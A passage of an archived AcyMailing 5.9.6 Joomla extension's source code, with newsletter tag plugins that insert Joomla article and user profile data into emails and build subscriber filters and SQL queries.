					acymailing_display('Wrong date format ('.$parameter->maxcreated.' in '.$oneTag.'), please use YYYY-MM-DD', 'warning');
				}
				$where[] = '`created` < '.acymailing_escapeDB(date('Y-m-d H:i:s', $date)).' OR `publish_up` < '.acymailing_escapeDB(date('Y-m-d H:i:s', $date));
			}else{
				$where[] = '`publish_up` < \''.date('Y-m-d H:i:s', $time - date('Z')).'\'';
			}

			if(!empty($parameter->mincreated)){
				$date = $parameter->mincreated;
				if(strpos($parameter->mincreated, '[time]') !== false) $date = acymailing_replaceDate(str_replace('[time]', '{time}', $parameter->mincreated));
				if(!is_numeric($date)) $date = strtotime($parameter->mincreated);
				if(empty($date)){
					acymailing_display('Wrong date format ('.$parameter->mincreated.' in '.$oneTag.'), please use YYYY-MM-DD', 'warning');
				}
				$where[] = '`created` > '.acymailing_escapeDB(date('Y-m-d H:i:s', $date)).' OR `publish_up` > '.acymailing_escapeDB(date('Y-m-d H:i:s', $date));
			}


			if(!empty($parameter->meta)){
				$allMetaTags = explode(',', $parameter->meta);
				$metaWhere = array();
				foreach($allMetaTags as $oneMeta){
					if(empty($oneMeta)) continue;
					$metaWhere[] = "`metakey` LIKE '%".acymailing_getEscaped($oneMeta, true)."%'";
				}
				if(!empty($metaWhere)) $where[] = implode(' OR ', $metaWhere);
			}

			$where[] = '`publish_down` > \''.date('Y-m-d H:i:s', $time - date('Z')).'\' OR `publish_down` = 0';
			if(empty($parameter->unpublished)){
				$where[] = 'state = 1';
			}else{
				$where[] = 'state = 0';
			}

			if(!ACYMAILING_J16){
				if(isset($parameter->access)){
					$where[] = 'access <= '.intval($parameter->access);
				}else{
					if($this->params->get('contentaccess', 'registered') == 'registered'){
						$where[] = 'access <= 1';
					}elseif($this->params->get('contentaccess', 'registered') == 'public') $where[] = 'access = 0';
				}
			}elseif(isset($parameter->access)){
				if(strpos($parameter->access, ',')){
					$allAccess = explode(',', $parameter->access);
					acymailing_arrayToInteger($allAccess);
					$where[] = 'access IN ('.implode(',', $allAccess).')';
				}else{
					$where[] = 'access = '.intval($parameter->access);
				}
			}

			if(ACYMAILING_J16 && !empty($parameter->language)){
				$allLanguages = explode(',', $parameter->language);
				$langWhere = 'language IN (';
				foreach($allLanguages as $oneLanguage){
					$langWhere .= acymailing_escapeDB(trim($oneLanguage)).',';
				}
				$where[] = trim($langWhere, ',').')';
			}

			$query .= ' WHERE ('.implode(') AND (', $where).')';
			if(!empty($parameter->order)){
				$ordering = explode(',', $parameter->order);
				if($ordering[0] == 'rand'){
					$query .= ' ORDER BY rand()';
				}else{
					$query .= ' ORDER BY `'.acymailing_secureField($ordering[0]).'` '.acymailing_secureField($ordering[1]).' , a.`id` DESC';
				}
			}

			$start = '';
			if(!empty($parameter->start)) $start = intval($parameter->start).',';

			if(empty($parameter->max)) $parameter->max = 100;

			$query .= ' LIMIT '.$start.(int)$parameter->max;

			$allArticles = acymailing_loadResultArray($query);

			if(!empty($parameter->min) && count($allArticles) < $parameter->min){
				$return->status = false;
				$return->message = 'Not enough articles for the tag '.$oneTag.' : '.count($allArticles).' / '.$parameter->min.' between '.acymailing_getDate($email->params['lastgenerateddate']).' and '.acymailing_getDate($time);
			}

			$stringTag = empty($parameter->noentrytext) ? '' : $parameter->noentrytext;
			if(!empty($allArticles)){
				if(file_exists(ACYMAILING_MEDIA.'plugins'.DS.'autocontent.php')){
					ob_start();
					require(ACYMAILING_MEDIA.'plugins'.DS.'autocontent.php');
					$stringTag = ob_get_clean();
				}else{
					$arrayElements = array();
					$numArticle = 1;
					foreach($allArticles as $oneArticleId){
						$args = array();
						$args[] = 'joomlacontent:'.$oneArticleId;
						$args[] = 'num:'.$numArticle++;
						if(!empty($parameter->invert) && $numArticle % 2 == 1) $args[] = 'invert';
						if(!empty($parameter->type)) $args[] = 'type:'.$parameter->type;
						if(!empty($parameter->custom)) $args[] = 'custom:'.$parameter->custom;
						if(!empty($parameter->format)) $args[] = 'format:'.$parameter->format;
						if(!empty($parameter->template)) $args[] = 'template:'.$parameter->template;
						if(!empty($parameter->jtags)) $args[] = 'jtags';
						if(!empty($parameter->link)) $args[] = 'link';
						if(!empty($parameter->author)) $args[] = 'author';
						if(!empty($parameter->autologin)) $args[] = 'autologin';
						if(!empty($parameter->cattitle)) $args[] = 'cattitle';
						if(!empty($parameter->cattitlelink)) $args[] = 'cattitlelink';
						if(!empty($parameter->lang)) $args[] = 'lang:'.$parameter->lang;
						if(!empty($parameter->theme)) $args[] = 'theme';
						if(!empty($parameter->clean)) $args[] = 'clean';
						if(!empty($parameter->notitle)) $args[] = 'notitle';
						if(!empty($parameter->nopictstyle)) $args[] = 'nopictstyle';
						if(!empty($parameter->nopictlink)) $args[] = 'nopictlink';
						if(!empty($parameter->created)) $args[] = 'created';
						if(!empty($parameter->noattach)) $args[] = 'noattach';
						if(!empty($parameter->itemid)) $args[] = 'itemid:'.$parameter->itemid;
						if(!empty($parameter->noreadmore)) $args[] = 'noreadmore';
						if(isset($parameter->pict)) $args[] = 'pict:'.$parameter->pict;
						if(!empty($parameter->wrap)) $args[] = 'wrap:'.$parameter->wrap;
						if(!empty($parameter->maxwidth)) $args[] = 'maxwidth:'.$parameter->maxwidth;
						if(!empty($parameter->maxheight)) $args[] = 'maxheight:'.$parameter->maxheight;
						if(!empty($parameter->readmore)) $args[] = 'readmore:'.$parameter->readmore;
						if(!empty($parameter->dateformat)) $args[] = 'dateformat:'.$parameter->dateformat;
						if(!empty($parameter->textafter)) $args[] = 'textafter:'.$parameter->textafter;
						if(!empty($parameter->maxchar)) $args[] = 'maxchar:'.$parameter->maxchar;
						if(!empty($parameter->share)) $args[] = 'share:'.$parameter->share;
						if(!empty($parameter->sharetxt)) $args[] = 'sharetxt:'.$parameter->sharetxt;
						if(!empty($parameter->catpict)) $args[] = 'catpict';
						if(!empty($parameter->catmaxwidth)) $args[] = 'catmaxwidth:'.$parameter->catmaxwidth;
						if(!empty($parameter->catmaxheight)) $args[] = 'catmaxheight:'.$parameter->catmaxheight;
						if(!empty($parameter->nomainimage)) $args[] = 'nomainimage';
						$arrayElements[] = '{'.implode('|', $args).'}';
					}
					$stringTag = $this->acypluginsHelper->getFormattedResult($arrayElements, $parameter);
				}
			}
			$this->tags[$oneTag] = $stringTag;
		}

		return $return;
	}
}//endclass
com_acymailing/extensions/plg_acymailing_taguser/index.html000060400000000054152455305300020421 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_acymailing_taguser/taguser.xml000060400000004611152455305300020623 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE install SYSTEM "http://dev.joomla.org/xml/1.5/plugin-install.dtd">
<install type="plugin" version="1.5" method="upgrade" group="acymailing">
	<name>AcyMailing Tag : Joomla User Information</name>
	<creationDate>March 2018</creationDate>
	<version>5.9.6</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2018 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to add informations of the Joomla user in the Newsletter</description>
	<files>
		<filename plugin="taguser">taguser.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-taguser"/>
		<param name="displayfilter_mail" type="radio" default="1" label="Display filter" description="Display the user fields filter and group filter on the Newsletter creation interface">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
			<option value="all">Always display this tag system</option>
			<option value="none">Don't display this tag system on the front-end</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-taguser"/>
				<field name="displayfilter_mail" type="radio" default="1" label="Display filter" description="Display the user fields filter and group filter on the Newsletter creation interface">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
					<option value="all">Always display this tag system</option>
					<option value="none">Don't display this tag system on the front-end</option>
				</field>
			</fieldset>
		</fields>
	</config>
</install>
com_acymailing/extensions/plg_acymailing_taguser/taguser.php000060400000047114152455305300020617 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingTaguser extends JPlugin{

	var $sendervalues = array();

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'taguser');
			$this->params = new acyParameter($plugin->params);
		}
	}

	function acymailing_getPluginType(){
		if($this->params->get('frontendaccess') == 'none' && !acymailing_isAdmin()) return;
		$onePlugin = new stdClass();
		$onePlugin->name = acymailing_translation('TAGUSER_TAGUSER');
		$onePlugin->function = 'acymailingtaguser_show';
		$onePlugin->help = 'plugin-taguser';

		return $onePlugin;
	}

	function acymailingtaguser_show(){
		?>

		<script language="javascript" type="text/javascript">
			function applyTag(tagname){
				var string = '{usertag:' + tagname;
				for(var i = 0; i < document.adminForm.typeinfo.length; i++){
					if(document.adminForm.typeinfo[i].checked){
						string += '|info:' + document.adminForm.typeinfo[i].value;
					}
				}
				string += '}';
				setTag(string);
				insertTag();
			}
		</script>
		<?php
		$typeinfo = array();
		$typeinfo[] = acymailing_selectOption("receiver", acymailing_translation('RECEIVER_INFORMATION'));
		$typeinfo[] = acymailing_selectOption("sender", acymailing_translation('SENDER_INFORMATIONS'));
		echo acymailing_radio($typeinfo, 'typeinfo', '', 'value', 'text', 'receiver');


		$notallowed = array('password', 'params', 'sendemail', 'gid', 'block', 'email', 'name', 'id');
		$text = '<div class="onelineblockoptions"><table class="acymailing_table" cellpadding="1">';
		$fields = acymailing_getColumns('#__users');
		if(ACYMAILING_J30) $fields = array_merge($fields, array('usertype' => 'usertype'));

		$descriptions['username'] = acymailing_translation('TAGUSER_USERNAME');
		$descriptions['usertype'] = acymailing_translation('TAGUSER_GROUP');
		$descriptions['lastvisitdate'] = acymailing_translation('TAGUSER_LASTVISIT');
		$descriptions['registerdate'] = acymailing_translation('TAGUSER_REGISTRATION');

		$k = 0;
		foreach($fields as $fieldname => $oneField){
			if(in_array(strtolower($fieldname), $notallowed)) continue;
			$type = '';
			if(strpos(strtolower($oneField), 'date') !== false) $type = '|type:date';
			$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="applyTag(\''.$fieldname.$type.'\');" ><td class="acytdcheckbox"></td><td>'.$fieldname.'</td><td>'.@$descriptions[strtolower($fieldname)].'</td></tr>';
			$k = 1 - $k;
		}

		if(ACYMAILING_J16){
			$extraFields = acymailing_loadObjectList('SELECT DISTINCT `profile_key` FROM `#__user_profiles`');
			if(!empty($extraFields)){
				foreach($extraFields as $oneField){
					$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="applyTag(\''.$oneField->profile_key.'|type:extra\');" ><td class="acytdcheckbox"></td><td>'.$oneField->profile_key.'</td><td></td></tr>';
					$k = 1 - $k;
				}
			}
		}
		if(ACYMAILING_J30){
			$link = 'index.php/component/users/?task=registration.activate&token={usertag:activation|info:receiver}';
		}elseif(ACYMAILING_J16){
			$link = 'index.php?option=com_users&task=registration.activate&token={usertag:activation|info:receiver}';
		}else{
			$link = 'index.php?option=com_user&task=activate&activation={usertag:activation|info:receiver}';
		}
		$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="setTag(\''.htmlentities('<a target="_blank" href="'.$link.'">'.acymailing_translation('JOOMLA_CONFIRM_ACCOUNT').'</a>').'\'); insertTag();" ><td class="acytdcheckbox"></td><td>confirmJoomla</td><td>'.acymailing_translation('JOOMLA_CONFIRM_LINK').'</td></tr>';
		$text .= '</table></div>';

		$jversion = preg_replace('#[^0-9\.]#i', '', JVERSION);
		if(version_compare($jversion, '3.7.0', '>=')){
			$query = 'SELECT id, title FROM #__fields_groups WHERE context = "com_users.user" AND state = 1 ORDER BY title ASC';
			$groups = acymailing_loadObjectList($query);
			$defaultGroup = new stdClass();
			$defaultGroup->id = 0;
			$defaultGroup->title = acymailing_translation('ACY_NO_GROUP');
			array_unshift($groups, $defaultGroup);

			$query = 'SELECT id, title, group_id FROM #__fields WHERE context = "com_users.user" AND state = 1 ORDER BY title ASC';
			$customFields = acymailing_loadObjectList($query);

			if(!empty($customFields)){
				$text .= '<div class="onelineblockoptions">
							<span class="acyblocktitle">'.acymailing_translation('EXTRA_FIELDS').'</span>
							<table class="acymailing_table" cellpadding="1">';
				foreach($groups as $oneGroup){
					$openedGroup = false;
					foreach($customFields as $oneCF){
						if($oneCF->group_id != $oneGroup->id) continue;
						if(!$openedGroup){
							$text .= '<tr><td></td><td style="font-weight: bold;">'.$oneGroup->title.'</td><td></td></tr>';
							$openedGroup = true;
						}
						$text .= '<tr style="cursor:pointer" onclick="applyTag(\''.$oneCF->id.'|type:custom\');" ><td class="acytdcheckbox"></td><td>'.$oneCF->title.'</td><td></td></tr>';
					}
				}
				$text .= '</table></div>';
			}
		}


		echo $text;
	}

	function acymailing_replaceusertags(&$email, &$user, $send = true){
		$pluginsHelper = acymailing_get('helper.acyplugins');
		$extractedTags = $pluginsHelper->extractTags($email, 'usertag');
		if(empty($extractedTags)) return;

		$jversion = preg_replace('#[^0-9\.]#i', '', JVERSION);
		if(empty($this->customFields) && version_compare($jversion, '3.7.0', '>=')){
			$this->customFields = acymailing_loadObjectList('SELECT * FROM #__fields WHERE context = "com_users.user"', 'id');
			foreach($this->customFields as &$oneCF){
				if(!empty($oneCF->fieldparams)) $oneCF->fieldparams = json_decode($oneCF->fieldparams, true);
			}
		}

		$tags = array();
		$receivervalues = array();
		foreach($extractedTags as $i => $mytag){
			if(isset($tags[$i])) continue;
			$mytag->default = $this->params->get('default_'.$mytag->id, '');

			$values = new stdClass();
			$idused = 0;
			$save = false;

			if(!empty($mytag->info) && $mytag->info == 'sender' && !empty($email->userid)){
				$idused = $email->userid;
				$save = true;
			}
			if(!empty($mytag->info) && $mytag->info == 'current'){   
				$currentUserid = acymailing_currentUserId();
				if(!empty($currentUserid)) $idused = $currentUserid;
			}
			if((empty($mytag->info) || $mytag->info == 'receiver') && !empty($user->userid)){
				$idused = $user->userid;
			}

			if(!empty($idused) && empty($this->sendervalues[$idused]) && empty($receivervalues[$idused])){
				$receivervalues[$idused] = acymailing_loadObject('SELECT * FROM '.acymailing_table('users', false).' WHERE id = '.intval($idused).' LIMIT 1');

				if(ACYMAILING_J16){
					$receivervalues[$idused]->extraFields = acymailing_loadObjectList('SELECT * FROM #__user_profiles WHERE user_id = '.intval($idused), 'profile_key');
				}

				if($save) $this->sendervalues[$idused] = $receivervalues[$idused];
			}

			if(!empty($this->sendervalues[$idused])){
				$values = $this->sendervalues[$idused];
			}elseif(!empty($receivervalues[$idused])) $values = $receivervalues[$idused];

			if($mytag->id == 'usertype' && ACYMAILING_J16){
				if(empty($this->acyuserHelper)) $this->acyuserHelper = acymailing_get('helper.acyuser');
				$groups = $this->acyuserHelper->getUserGroups($idused);
				$allGroups = array();
				foreach($groups as $oneGroup) $allGroups[] = $oneGroup->title;
				$values->usertype = implode(', ', $allGroups);
			}

			if(empty($mytag->type)) $mytag->type = '';
			if($mytag->type == 'extra'){
				$replaceme = isset($values->extraFields[$mytag->id]) ? trim(json_decode($values->extraFields[$mytag->id]->profile_value), '"') : $mytag->default;
			}elseif($mytag->type == 'custom'){
				$mytag->id = intval($mytag->id);
				if(empty($mytag->id)){
					$replaceme = '';
				}else{
					$userFieldVals = acymailing_loadResultArray('SELECT value FROM #__fields_values WHERE item_id = '.intval($idused).' AND field_id = '.intval($mytag->id));

					$fieldValues = trim(implode(', ', $userFieldVals), ', ');
					if(empty($fieldValues)){
						$defaultValue = acymailing_loadObject('SELECT default_value, type FROM #__fields WHERE id = '.intval($mytag->id));
						if(($defaultValue->type == 'user' && !empty($defaultValue->default_value)) || ($defaultValue->type != 'user' && strlen($defaultValue->default_value) > 0)){
							$userFieldVals = array($defaultValue->default_value);
						}
					}

					foreach($userFieldVals as &$oneFieldVal){
						switch($this->customFields[$mytag->id]->type){
							case 'radio':
							case 'list':
							case 'checkboxes':
								foreach($this->customFields[$mytag->id]->fieldparams['options'] as $oneOPT){
									if($oneOPT['value'] == $oneFieldVal){
										$oneFieldVal = $oneOPT['name'];
										break;
									}
								}
								break;

							case 'usergrouplist':
								if(empty($this->usergroups)) $this->usergroups = acymailing_loadObjectList('SELECT id, title FROM #__usergroups', 'id');

								$oneFieldVal = $this->usergroups[$oneFieldVal]->title;
								break;

							case 'imagelist':
								if(strlen($this->customFields[$mytag->id]->fieldparams['directory']) > 1) $oneFieldVal = '/'.$oneFieldVal;
								else $this->customFields[$mytag->id]->fieldparams['directory'] = '';
								$oneFieldVal = '<img src="images/'.$this->customFields[$mytag->id]->fieldparams['directory'].$oneFieldVal.'" />';
								break;

							case 'url':
								$oneFieldVal = '<a target="_blank" href="'.$oneFieldVal.'">'.$oneFieldVal.'</a>';
								break;

							case 'sql':
								if(empty($this->customFields[$mytag->id]->options)){
									$this->customFields[$mytag->id]->options = acymailing_loadObjectList($this->customFields[$mytag->id]->fieldparams['query'], 'value');
								}

								$oneFieldVal = $this->customFields[$mytag->id]->options[$oneFieldVal]->text;
								break;

							case 'user':
								$oneFieldVal = acymailing_currentUserName($oneFieldVal);
								break;

							case 'media':
								$oneFieldVal = '<img src="'.$oneFieldVal.'" />';
								break;

							case 'calendar':
								$format = $this->customFields[$mytag->id]->fieldparams['showtime'] == '1' ? 'Y-m-d H:i' : 'Y-m-d';
								$oneFieldVal = acymailing_date(strtotime($oneFieldVal), $format);
								break;
						}
					}

					$replaceme = implode(', ', $userFieldVals);
				}
			}else{
				$replaceme = isset($values->{$mytag->id}) ? $values->{$mytag->id} : $mytag->default;
			}

			$tags[$i] = $replaceme;
			$pluginsHelper->formatString($tags[$i], $mytag);
		}

		$pluginsHelper->replaceTags($email, $tags);
	}//endfct

	function onAcyDisplayFilters(&$type, $context = "massactions"){

		if($this->params->get('displayfilter_'.$context, true) == false) return;

		$fields = acymailing_getColumns('#__users');
		if(empty($fields)) return;

		$type['joomlafield'] = acymailing_translation('JOOMLA_FIELD');
		$type['joomlagroup'] = acymailing_translation('ACY_GROUP');

		$field = array();
		$field[] = acymailing_selectOption(0, '- - -');
		foreach($fields as $oneField => $fieldType){
			$field[] = acymailing_selectOption($oneField, $oneField);
		}

		if(ACYMAILING_J16){
			$extraFields = acymailing_loadObjectList('SELECT DISTINCT `profile_key` FROM `#__user_profiles`');
			if(!empty($extraFields)){
				foreach($extraFields as $oneField){
					$field[] = acymailing_selectOption('customfield_'.$oneField->profile_key, $oneField->profile_key);
				}
			}
		}

		$jversion = preg_replace('#[^0-9\.]#i', '', JVERSION);
		if(version_compare($jversion, '3.7.0', '>=')){
			$query = 'SELECT id, title 
						FROM #__fields 
						WHERE context = "com_users.user"
							AND state = 1
							AND type IN ("calendar", "checkboxes", "color", "integer", "list", "imagelist", "radio", "sql", "text", "textarea", "url", "user", "usergrouplist")
						ORDER BY title ASC';
			$customFields = acymailing_loadObjectList($query);
			foreach ($customFields as $oneCF) {
				$field[] = acymailing_selectOption($oneCF->id, $oneCF->title);
			}
		}

		$jsOnChange = "displayCondFilter('displayUserValues', 'toChange__num__',__num__,'map='+document.getElementById('filter__num__joomlafieldmap').value+'&cond='+document.getElementById('filter__num__joomlafieldoperator').value+'&value='+document.getElementById('filter__num__joomlafieldvalue').value); ";

		$operators = acymailing_get('type.operators');
		$operators->extra = 'onchange="'.$jsOnChange.'countresults(__num__)"';

		$return = '<div id="filter__num__joomlafield">'.acymailing_select($field, "filter[__num__][joomlafield][map]", 'class="inputbox" size="1" onchange="'.$jsOnChange.'countresults(__num__)"', 'value', 'text');
		$return .= ' '.$operators->display("filter[__num__][joomlafield][operator]").' <span id="toChange__num__"><input onchange="countresults(__num__)" class="inputbox" type="text" name="filter[__num__][joomlafield][value]" id="filter__num__joomlafieldvalue" style="width:200px" value=""></span></div>';

		if(!ACYMAILING_J16){
			$acl = JFactory::getACL();
			$groups = $acl->get_group_children_tree(null, 'USERS', false);
		}else{
			$groups = acymailing_loadObjectList('SELECT a.*, a.title as text, a.id as value FROM #__usergroups AS a ORDER BY a.lft ASC', 'id');
			foreach($groups as $id => $group){
				if(isset($groups[$group->parent_id])){
					$groups[$id]->level = empty($groups[$group->parent_id]->level) ? 1 : intval($groups[$group->parent_id]->level + 1);
					$groups[$id]->text = str_repeat('- - ', $groups[$id]->level).$groups[$id]->text;
				}
			}
		}

		$inoperator = acymailing_get('type.operatorsin');
		$inoperator->js = 'onchange="countresults(__num__)"';

		$return .= '<div id="filter__num__joomlagroup">'.$inoperator->display("filter[__num__][joomlagroup][type]").' '.acymailing_select($groups, "filter[__num__][joomlagroup][group]", 'class="inputbox" size="1" onchange="countresults(__num__)"', 'value', 'text').'<label for="filter__num__joomlagroupsubgroups"><input type="checkbox" value="1" id="filter__num__joomlagroupsubgroups" name="filter[__num__][joomlagroup][subgroups]" onchange="countresults(__num__)"/>'.acymailing_translation('ACY_SUB_GROUPS').'</label></div>';

		return $return;
	}

	function onAcyTriggerFct_displayUserValues(){
		$num = acymailing_getVar('int', 'num');
		$map = acymailing_getVar('cmd', 'map');
		$cond = acymailing_getVar('string', 'cond', '', '', ACY_ALLOWHTML);
		$value = acymailing_getVar('string', 'value', '', '', ACY_ALLOWHTML);

		$emptyInputReturn = '<input onchange="countresults('.$num.')" class="inputbox" type="text" name="filter['.$num.'][joomlafield][value]" id="filter'.$num.'joomlafieldvalue" style="width:200px" value="'.$value.'">';
		$dateInput = '<input onclick="displayDatePicker(this,event)" onchange="countresults('.$num.')" class="inputbox" type="text" name="filter['.$num.'][joomlafield][value]" id="filter'.$num.'joomlafieldvalue" style="width:200px" value="'.$value.'">';

		if(in_array($map, array('registerDate', 'lastvisitDate', 'lastResetTime'))) return $dateInput;

		if(empty($map) || in_array($map, array('password', 'params', 'optKey', 'otep')) || !in_array($cond, array('=', '!='))) return $emptyInputReturn;

		if(strpos($map, 'customfield_') !== false){
			$prop = acymailing_loadObjectList('SELECT DISTINCT TRIM(BOTH \'"\' FROM `profile_value`) AS value FROM #__user_profiles WHERE profile_key = '.acymailing_escapeDB(str_replace('customfield_', '', $map)).' LIMIT 100');
		}elseif(intval($map) != 0){
			$prop = acymailing_loadObjectList('SELECT DISTINCT `value` FROM #__fields_values WHERE field_id = '.intval($map).' LIMIT 100');
		}else{
			$prop = acymailing_loadObjectList('SELECT DISTINCT `' . acymailing_secureField($map) . '` AS value FROM #__users LIMIT 100');
		}

		if(empty($prop) || count($prop) >= 100 || (count($prop) == 1 && (empty($prop[0]->value) || $prop[0]->value == '-'))) return $emptyInputReturn;

		return acymailing_select($prop, "filter[$num][joomlafield][value]", 'onchange="countresults('.$num.')" class="inputbox" size="1" style="width:200px"', 'value', 'value', $value, 'filter'.$num.'joomlafieldvalue');
	}

	function onAcyProcessFilterCount_joomlafield(&$query, $filter, $num){
		$this->onAcyProcessFilter_joomlafield($query, $filter, $num);
		return acymailing_translation_sprintf('SELECTED_USERS', $query->count());
	}

	function onAcyDisplayFilter_joomlafield($filter){
		return acymailing_translation('JOOMLA_FIELD').' : '.$filter['map'].' '.$filter['operator'].' '.$filter['value'];
	}

	function onAcyProcessFilter_joomlafield(&$query, $filter, $num){
		if(empty($filter['map'])) return;
		$type = '';
		if(strpos($filter['map'], 'customfield_') !== false){
			$query->leftjoin['joomlauserprofiles'.$num] = '#__user_profiles AS joomlauserprofiles'.$num.' ON joomlauserprofiles'.$num.'.user_id = sub.userid AND joomlauserprofiles'.$num.'.profile_key = '.acymailing_escapeDB(str_replace('customfield_', '', $filter['map']));
			$val = trim($filter['value'], '"');
			if(in_array($filter['operator'], array('=', '!=', '<', '>', '<=', '>=', 'BEGINS', 'LIKE', 'NOT LIKE'))){
				$val = '"'.$val;
			}
			if(in_array($filter['operator'], array('=', '!=', '<', '>', '<=', '>=', 'END', 'LIKE', 'NOT LIKE'))){
				$val = $val.'"';
			}

			$query->where[] = $query->convertQuery('joomlauserprofiles'.$num, 'profile_value', $filter['operator'], $val, $type);
		}elseif(intval($filter['map']) != 0){
			$query->leftjoin['joomlauserfields'.$num] = '#__fields_values AS joomlauserfields'.$num.' ON joomlauserfields'.$num.'.item_id = sub.userid AND joomlauserfields'.$num.'.field_id = '.intval($filter['map']);
			$query->where[] = $query->convertQuery('joomlauserfields'.$num, 'value', $filter['operator'], $filter['value'], $type);
		}else{
			$query->leftjoin['joomlauser'.$num] = '#__users AS joomlauser'.$num.' ON joomlauser'.$num.'.id = sub.userid';
			if(in_array($filter['map'], array('registerDate', 'lastvisitDate'))){
				$filter['value'] = acymailing_replaceDate($filter['value']);
				if(!is_numeric($filter['value']) && strtotime($filter['value']) !== false) $filter['value'] = strtotime($filter['value']);
				if(is_numeric($filter['value'])) $filter['value'] = strftime('%Y-%m-%d %H:%M:%S', $filter['value']);
				$type = 'datetime';
			}
			$query->where[] = $query->convertQuery('joomlauser'.$num, $filter['map'], $filter['operator'], $filter['value'], $type);
		}
	}

	function onAcyProcessFilterCount_joomlagroup(&$query, $filter, $num){
		$this->onAcyProcessFilter_joomlagroup($query, $filter, $num);
		return acymailing_translation_sprintf('SELECTED_USERS', $query->count());
	}

	function onAcyProcessFilter_joomlagroup(&$query, $filter, $num){
		$operator = (empty($filter['type']) || $filter['type'] == 'IN') ? 'IS NOT NULL AND joomlauser'.$num.'.'.(ACYMAILING_J16 ? 'user_' : '').'id != 0' : "IS NULL";
		$filter['group'] = intval($filter['group']);

		if(!empty($filter['subgroups'])){
			$groupTable = ACYMAILING_J16 ? 'usergroups' : 'core_acl_aro_groups';
			$lftrgt = acymailing_loadObject('SELECT lft, rgt FROM #__'.$groupTable.' WHERE id = '.$filter['group']);
			$allGroups = acymailing_loadResultArray('SELECT id FROM #__'.$groupTable.' WHERE lft > '.$lftrgt->lft.' AND rgt < '.$lftrgt->rgt);
			array_unshift($allGroups, $filter['group']);
			$value = ' IN ('.implode(', ', $allGroups).')';
		}else{
			$value = ' = '.$filter['group'];
		}

		if(!ACYMAILING_J16){
			$query->leftjoin['joomlauser'.$num] = "#__users AS joomlauser$num ON joomlauser$num.id = sub.userid AND joomlauser$num.gid".$value;
			$query->where[] = "joomlauser$num.id ".$operator;
		}else{
			$query->leftjoin['joomlauser'.$num] = "#__user_usergroup_map AS joomlauser$num ON joomlauser$num.user_id = sub.userid AND joomlauser$num.group_id".$value;
			$query->where[] = "joomlauser$num.user_id ".$operator;
		}
	}
}//endclass

com_acymailing/extensions/plg_acymailing_tagsubscriber/tagsubscriber.php000060400000044404152455305300023170 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingTagsubscriber extends JPlugin{

	var $fields = array();

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'tagsubscriber');
			$this->params = new acyParameter($plugin->params);
		}
	}

	function acymailing_getPluginType(){
		if($this->params->get('frontendaccess') == 'none' && !acymailing_isAdmin()) return;
		$onePlugin = new stdClass();
		$onePlugin->name = acymailing_translation('SUBSCRIBER_SUBSCRIBER');
		$onePlugin->function = 'acymailingtagsubscriber_show';
		$onePlugin->help = 'plugin-tagsubscriber';

		return $onePlugin;
	}

	function acymailingtagsubscriber_show(){
		$fields = acymailing_getColumns('#__acymailing_subscriber');

		$descriptions['subid'] = acymailing_translation('SUBSCRIBER_ID');
		$descriptions['email'] = acymailing_translation('SUBSCRIBER_EMAIL');
		$descriptions['name'] = acymailing_translation('SUBSCRIBER_NAME');
		$descriptions['userid'] = acymailing_translation('SUBSCRIBER_USERID');
		$descriptions['ip'] = acymailing_translation('SUBSCRIBER_IP');
		$descriptions['created'] = acymailing_translation('SUBSCRIBER_CREATED');
		echo '<br style="clear:both;"/>';
		if(acymailing_getVar('none', 'type') == 'notification'){
			$text = '<div class="onelineblockoptions">
						<span class="acyblocktitle">'.acymailing_translation('CURRENT_USER_INFO').'</span>
						<table class="acymailing_table" cellpadding="1">';
			$k = 0;
			foreach($fields as $fieldname => $oneField){
				if(!isset($descriptions[$fieldname]) AND $oneField == 'tinyint') continue;
				if(empty($descriptions[$fieldname])) $descriptions[$fieldname] = '';

				$type = '';
				if(in_array($fieldname, array('created', 'confirmed_date', 'lastclick_date', 'lastsent_date', 'lastopen_date'))) $type = '|type:time';
				$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="setTag(\'{user:'.$fieldname.$type.'}\');insertTag();" ><td class="acytdcheckbox"></td><td>'.$fieldname.'</td><td>'.$descriptions[$fieldname].'</td></tr>';
				$k = 1 - $k;
			}
			$text .= '</table></div>';
			echo $text;
		}

		$text = '<div class="onelineblockoptions">
					<span class="acyblocktitle">'.acymailing_translation('RECEIVER_INFORMATION').'</span>
					<table class="acymailing_table" cellpadding="1">';

		$others = array();
